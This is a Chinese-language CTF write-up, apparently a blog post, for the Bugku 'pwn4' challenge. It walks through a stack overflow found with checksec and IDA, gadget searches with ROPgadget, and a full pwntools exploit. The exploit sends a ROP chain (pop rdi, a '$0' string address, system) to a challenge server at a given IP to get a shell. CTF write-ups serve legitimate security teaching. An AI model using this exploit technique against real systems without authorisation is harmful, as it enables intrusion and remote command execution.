Bugku pwn4 WP

下载地址

url

checksec

[*] '/mnt/hgfs/ubuntu_share/pwn/wiki/pwn4'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

IDA分析

  • 发现栈溢出
  • 64位程序,可溢出字节为0x30-0x10-8=24个字节
  • 24个字节只能填写3个地址,很难构造较长的ROP链
  • 并且64位程序函数调用时,参数优先放在寄存器中,当参数小于6个的时候,使用rdi, rsi, rdx, rcx, r8, r9六个寄存器存储参数,返回地址存放在栈中。

  • 继续分析,发现调用了system函数,但/bin/sh字符串没有查找到
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# ROPgadget --binary pwn4 --string "/bin/sh"
Strings information
============================================================
  • 在IDA中快捷键shift+f12可以掉出字符串窗口

  • 使用$0可以代替/bin/sh起一个shell
  • 具体知识可以参考我的这篇博客
  • 使用ROPgadget查找$0字符串的地址
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# ROPgadget --binary pwn4 --string "$0"
Strings information
============================================================
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# ROPgadget --binary pwn4 --string "/$0"
Strings information
============================================================

  • 我用ROPgadget没有查出$0的地址,但在IDA中存在该字符串
  • 我们可以通过IDA的字符串窗口推算它的地址
  • 0x0601100是这个字符串的地址,经过31个字符到$0
  • 0x0601100+31=0x060111f
  • 并且如果调用system函数,并将$0作为参数传给syste函数的话,$0字符串应该在rdi寄存器中。
  • 所以查找ROPgadget
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# ROPgadget --binary pwn4 --only "pop|ret"
Gadgets information
============================================================
0x00000000004007cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007ce : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007d0 : pop r14 ; pop r15 ; ret
0x00000000004007d2 : pop r15 ; ret
0x00000000004007cb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007cf : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400630 : pop rbp ; ret
0x00000000004007d3 : pop rdi ; ret
0x00000000004007d1 : pop rsi ; pop r15 ; ret
0x00000000004007cd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400541 : ret

Unique gadgets found: 11

栈结构如下

  • 执行到ret指令时,因为ret指令相当于pop eip;所以rsp+8,rsp指向$0地址处,将pop edi的地址赋给eip,执行eip
  • 弹出$0,并将其赋给edi寄存器,rsp+8,指向system地址
  • 执行system函数

Exp编写

from pwn import *
from LibcSearcher import *

context.log_level = "DEBUG"

#sh = process('pwn4')

sh = remote("114.116.54.89", 10004)

system_addr = 0x0000000000400570

pop_addr = 0x00000000004007d3

binsh_addr = 0x000000000060111f

payload = 'a' * 24 + p64(pop_addr) + p64(binsh_addr) + p64(system_addr)

sh.recv()

sh.sendline(payload)

sh.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

西杭

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值